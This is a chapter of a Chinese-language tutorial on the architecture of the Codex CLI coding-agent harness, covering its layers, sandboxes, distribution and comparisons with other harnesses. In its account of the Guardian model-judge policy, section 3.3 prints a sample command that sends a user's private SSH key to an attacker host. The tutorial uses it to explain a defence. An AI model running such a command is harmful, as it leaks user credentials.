第1章：开篇 —— Codex 是什么

第1章：开篇 —— Codex 是什么

本章不涉及源码细节，回答三个更根本的问题：Codex CLI 是什么？它和 Pi / DeepSeek Harness 有什么本质不同？为什么值得花时间读它的架构？读完这章，你会知道后面 14 章要拆的到底是个什么东西。

一、开场：把三个数字放在一起

同样是「agent harness（智能体运行外壳）」这个品类，三个项目的规模是这样的：

147 万行。这个数字第一眼看上去像是失控，但它的构成很说明问题 [源码]：

再加一个数字：14168 处 #[test] / #[tokio::test]，493 个独立测试文件。

这就是本教程要拆的东西：当一个 agent harness 需要同时满足"每天几百万开发者在用"和"跑在别人的机器上执行任意命令"这两个条件时，它会长成什么样。

为什么 tui 有 27 万行 因为终端界面里没有浏览器帮你排版。滚动、软换行、图片、diff 高亮、鼠标、粘贴保护、宽字符对齐，每一项都要自己写。这 27 万行不是架构复杂度，是交付形态的成本——它提醒我们，harness 的代码量和它的架构思想不是一回事。本教程会跳过 tui，只在第 3 章讲它作为"协议消费者"的角色。

二、Codex 是什么：一句话与一张图

一句话定义

Codex CLI 是 OpenAI 开源的编码 agent 运行外壳，用 Rust 编写，编译成单个静态二进制；它把 agent 内核做成一个只通过「提交队列 / 事件队列」与外界通信的引擎，终端界面、IDE 插件、桌面 App、MCP 服务端、云端任务全都是这个引擎的前端。

拆开看：

• "运行外壳" —— 它不是模型，是让模型能读文件、跑命令、调工具、管会话的那一层
• "单个静态二进制" —— 本机实测 npm 包解出来是 350 MB 的 x86_64-unknown-linux-musl 可执行文件，不依赖 Node、不依赖 Python、不依赖系统 OpenSSL
• "只通过队列通信" —— 内核对"谁在用我"一无所知（第 3 章）
• "Rust" —— Cargo.lock 锁了 1359 个依赖 crate

关键数字 [源码]

关于"147 万行"这个数字的诚实说明 三件事必须讲清楚，否则这个数字会误导人：

1. 含测试。14168 个测试自身占了很大比例，core/src/config/config_tests.rs 一个文件就 12821 行
2. 含 TUI。27 万行终端渲染代码和 agent 架构没有关系
3. 含平台特化的重复。Windows 沙箱 1.9 万行、Linux 沙箱 9694 行，做的是同一件事的三个版本

真正的"agent 架构"部分——循环、上下文、工具、安全决策——大约在 10 万行量级。后面每次用到"147 万"，都是在讨论一个 agent 产品的工程总账，不是在夸架构复杂。

一张图看清分层

┌──────────────────────────────────────────────────────────────┐
│  前端（都是协议消费者，core 不认识它们）                          │
│  TUI  ·  exec 无头模式  ·  IDE 插件  ·  桌面 App               │
│  MCP 服务端（把 Codex 变成别人的工具）  ·  云端任务               │
├──────────────────────────────────────────────────────────────┤
│  协议层  SQ（提交队列） / EQ（事件队列）                          │
│  app-server：把队列包成 JSON-RPC，走 stdio / UDS / WebSocket   │
├──────────────────────────────────────────────────────────────┤
│  core —— 引擎                                                 │
│  ┌────────────┐ ┌────────────┐ ┌───────────┐ ┌────────────┐ │
│  │  Session   │ │   Turn     │ │  Tools    │ │  Context   │ │
│  │  会话状态   │ │  循环调度   │ │ 注册/路由 │ │ 装配/压缩  │ │
│  └────────────┘ └────────────┘ └───────────┘ └────────────┘ │
│  ┌──────────────────────────────────────────────────────┐   │
│  │  ext/ 内部扩展平面：12 个 Contributor trait            │   │
│  │  skills · memories · goal · web-search · guardian-v2  │   │
│  └──────────────────────────────────────────────────────┘   │
├──────────────────────────────────────────────────────────────┤
│  安全层（三道，互相独立）                                        │
│  ① 沙箱：内核级隔离，四套操作系统实现                             │
│  ② 执行策略：Starlark 规则 + 静态判定矩阵                        │
│  ③ Guardian：再拉一个模型当判官，管沙箱管不了的语义风险            │
├──────────────────────────────────────────────────────────────┤
│  执行层                                                       │
│  exec-server · unified_exec 进程管理 · shell 快照 · apply_patch │
└──────────────────────────────────────────────────────────────┘

这张图的关键不在层数，而在第一层和第二层之间那条线。Pi 的 TUI 直接调 agent 库，dsh 的 Web 前端是插件树里的一批插件——两者的前端和内核都在同一个进程、同一种语言里。Codex 把这条线画成了可以跨进程、跨语言、跨机器的协议，代价是内核里所有对外交互都得先变成一个协议消息。第 3 章会展开。

三、三个身份

3.1 作为产品：一个已经铺开的编码 agent

Codex CLI 的分发方式本身就是"产品化"的证据：curl | sh 官方安装脚本、npm、Homebrew、GitHub Release 四条路，Mac / Linux / Windows 全平台原生二进制。子命令覆盖了一个成熟 CLI 该有的全部 [源码 cli/src/main.rs:133]：

注意 codex doctor 和 codex update ——这两个东西不出现在架构讨论里，但它们是"产品"和"框架"的分界线。

3.2 作为架构参考：一份"生产级 agent 的完整账单"

这是本教程认为 Codex 最大的价值。

Pi 教程告诉你最少需要什么，dsh 教程告诉你最多能拆成什么，Codex 告诉你全都做完要付多少：

• 上下文压缩不是一套，是两套（本地摘要 + 服务端压缩，第 7 章）
• 命令执行不是 spawn 一下，是 shell 环境快照 + 长驻进程管理 + 后台终端 + 独立 exec-server（第 9 章）
• 沙箱不是一个开关，是四套操作系统原生实现加一层策略变换（第 10 章）
• 安全不是一层，是沙箱 + 静态策略 + 模型判官三层（第 11 章）
• 会话不是存个 JSON，是 JSONL rollout + SQLite 状态库 + 线程存储 + 压缩归档 + 反向扫描器（第 12 章）

这份账单本身比它的任何一个具体实现都有价值——哪怕你一行 Rust 都不写，你也会知道自己的 agent 项目在哪些位置欠着账。

3.3 作为安全样本：一次公开的"用模型守模型"实验

Codex 仓库里有一份 8281 字节的 Markdown，叫 core/src/guardian/policy.md。它是一份写给模型看的风险分类学：数据外泄、凭据探测、破坏性操作……每一类都给出判定规则和 allow/deny 结论。

摘一段 [源码 core/src/guardian/policy.md]：

• Egress is any action which moves data to somewhere where it could potentially be accessed by an external person.
• Payloads must be traced back to their original data. Any payload which is somehow derived from sensitive data is also sensitive.
• Authorization for sensitive egress must come from trusted user content.
• Outcome rule: deny any action or network request which exposes sensitive data where the user has not authorized exposing that specific data to the specific destination.

（外泄是指任何把数据移动到外部人员可能访问到的位置的行为。载荷必须能追溯到它的原始数据——任何由敏感数据派生出的载荷同样敏感。敏感外泄的授权必须来自可信的用户内容。结论规则：拒绝任何在用户未授权"这份具体数据发往这个具体目的地"的情况下暴露敏感数据的行为或网络请求。）

这几句话是在解一个沙箱解不了的问题：curl https://attacker.com -d @~/.ssh/id_rsa 在语法上和一次正常的 API 调用没有区别。静态规则拦不住它，因为"这个域名可不可信"依赖上下文；沙箱也拦不住（如果允许联网）。Codex 的选择是——把判断交给另一个模型，并且把判断标准公开。

第 11 章会完整拆这个机制。就算你不用 Codex，这份策略文档也值得抄回去改。

四、与三个同类的对照

4.1 vs Pi：能不能读完 vs 需不需要读完

有意思的是：Pi 明确列为"不做"的三件事，Codex 全做了，而且都做成了默认开启。这不是"Codex 比 Pi 强"——Pi 的判断在它的定位下是对的（一个给开发者改的 SDK，弹窗确实是负担）。差别在谁承担风险：Pi 假设用户是能对自己机器负责的开发者，Codex 假设用户可能是任何人。

代价也不同：Pi 的代价是缺功能时要自己写；Codex 的代价是——你几乎改不动它。它不是给你改的，是给你用的。

4.2 vs DeepSeek Harness：可替换性 vs 可验证性

这是本教程认为最有价值的一组对照，因为两者都是"大"，但大的方向完全相反。

dsh 把"可替换"做到极致，用文档和接口约束保证正确性；Codex 把"可验证"做到极致，用测试保证正确性，代价是内部结构对用户封闭。

一个具体例子：dsh 的 ctx.shell 是抽象服务，你可以换成任何实现；Codex 的 shell 执行路径写死在 unified_exec 里，但它有 5356 行代码和成套的进程管理测试，覆盖了僵尸进程、部分输出、超时、后台终端这些真实场景。

这是同一个问题的两种答案：面对"我的实现可能不适合你"，dsh 说"那你换掉它"，Codex 说"那我把所有情况都试一遍"。

4.3 vs Claude Code：闭源产品 vs 开源产品

Claude Code 是闭源的：系统提示词不公开、内部架构不可见、扩展点由官方定义。

Codex 是开源的同类产品——注意"产品"这个词，它和"开源框架"不一样。它的仓库里躺着：生产系统提示词的完整文本、Guardian 的风险策略、四套沙箱的实现细节、协议规范、14168 个测试。

这带来一个有点意外的观察：Codex 的 hooks 接口是刻意向 Claude Code 兼容的 [源码 core/src/tools/hook_names.rs]。它的钩子事件名是 PreToolUse / PostToolUse / SessionStart / UserPromptSubmit / Stop / SubagentStop，并且在匹配器里接受 Write / Edit / Agent 这些 Claude Code 风格的工具名作为别名。源码注释写得很直白：

Write and Edit are accepted as matcher aliases for compatibility with hook configurations that describe edits using Claude Code-style names.

这说明 agent harness 的扩展接口正在出现事实标准。第 13 章会展开。

五、这个项目的成熟度：必须说清楚的话

本教程写作时（2026-08-24），Codex 的状态是：

• 仓库自 2025-04-16 起 Apache-2.0 开源，主分支每天几十个提交
• 版本号已经到 0.149.x / 0.150.0-alpha，本机安装的 CLI 是 0.146.0
• 官方文档在 developers.openai.com/codex，仓库内的 docs/ 大部分只是指向官网的一行链接

最后一条很关键，直接影响本教程的写法：

仓库文档极薄，源码就是文档 docs/sandbox.md 的全文只有一句"见官网"，docs/skills.md 同理。这和 dsh 的 385 篇双语 README 是两个极端。

所以本教程的所有技术结论都来自读源码，而不是读文档。好处是拿到的是真相，坏处是——这份代码在快速变动。凡是涉及具体行号的引用，请以 09609ba4 这个提交为准。

另一个必须说清楚的盲区：

• 能看到：完整源码、测试、注释、TODO、生产提示词、协议规范
• 看不到：OpenAI 内部的设计文档与决策记录、服务端行为（远端压缩、模型元数据下发的服务端逻辑都在 API 那一侧）、真实的遥测数据

凡是受这个盲区影响的结论，正文里会明确标注。特别是第 7 章的远端压缩——客户端只能看到它发了什么、收到了什么，中间发生了什么是黑箱。

六、每一章要回答什么

七、动手复核

本章的关键数字，你可以这样验证：

# 0. 取源码（blob 过滤，几分钟）
git clone --filter=blob:none https://github.com/openai/codex.git
cd codex

# 1. crate 数
ls -d codex-rs/*/ | wc -l

# 2. 代码行数与文件数
find codex-rs -name '*.rs' -not -path '*/vendor/*' -print0 | xargs -0 cat | wc -l
find codex-rs -name '*.rs' -not -path '*/vendor/*' | wc -l

# 3. 测试数量
grep -rn '#\[test\]\|#\[tokio::test\]' --include=*.rs codex-rs | wc -l

# 4. 每个 crate 的规模排行
for d in codex-rs/*/; do
  n=$(find "$d" -name '*.rs' -print0 | xargs -0 cat 2>/dev/null | wc -l)
  echo "$n $(basename $d)"
done | sort -rn | head -20

# 5. 开源时间线
git log --reverse --format='%ad %s' --date=short | head -1
git log --diff-filter=A --format='%ad' --date=short -- codex-rs/core/src/guardian | tail -1

# 6. 生产系统提示词就在这里
wc -c codex-rs/core/*.md

本机安装的 CLI 版本：

codex --version

八、总结

Codex CLI 是一次把 agent harness 当产品做的完整实践：

1. 作为产品：全平台原生二进制、四条分发渠道、doctor / update 一应俱全，它面向的是"任何人"，不是"愿意读源码的人"
2. 作为架构参考：它交出了一份生产级 agent 的完整工程账单——压缩两套、执行五千行、沙箱四套、安全三层。这份账单比任何单项实现都有价值
3. 作为安全样本：Guardian 把"用模型守模型"的判断标准公开成一份可读的策略文档，这是目前少见的公开实践

它和 Pi、dsh 构成了同一道题的三个答案。Pi 问"最少需要什么"，dsh 问"最多能拆成什么"，Codex 问"全都做完要付多少"。三个问题都值得问——而只有把三个答案都看过，你才知道自己的项目该站在哪个位置。

下一章我们从地图开始：102 个 crate 怎么组织，以及一个二进制怎么伪装成 9 个不同的程序。

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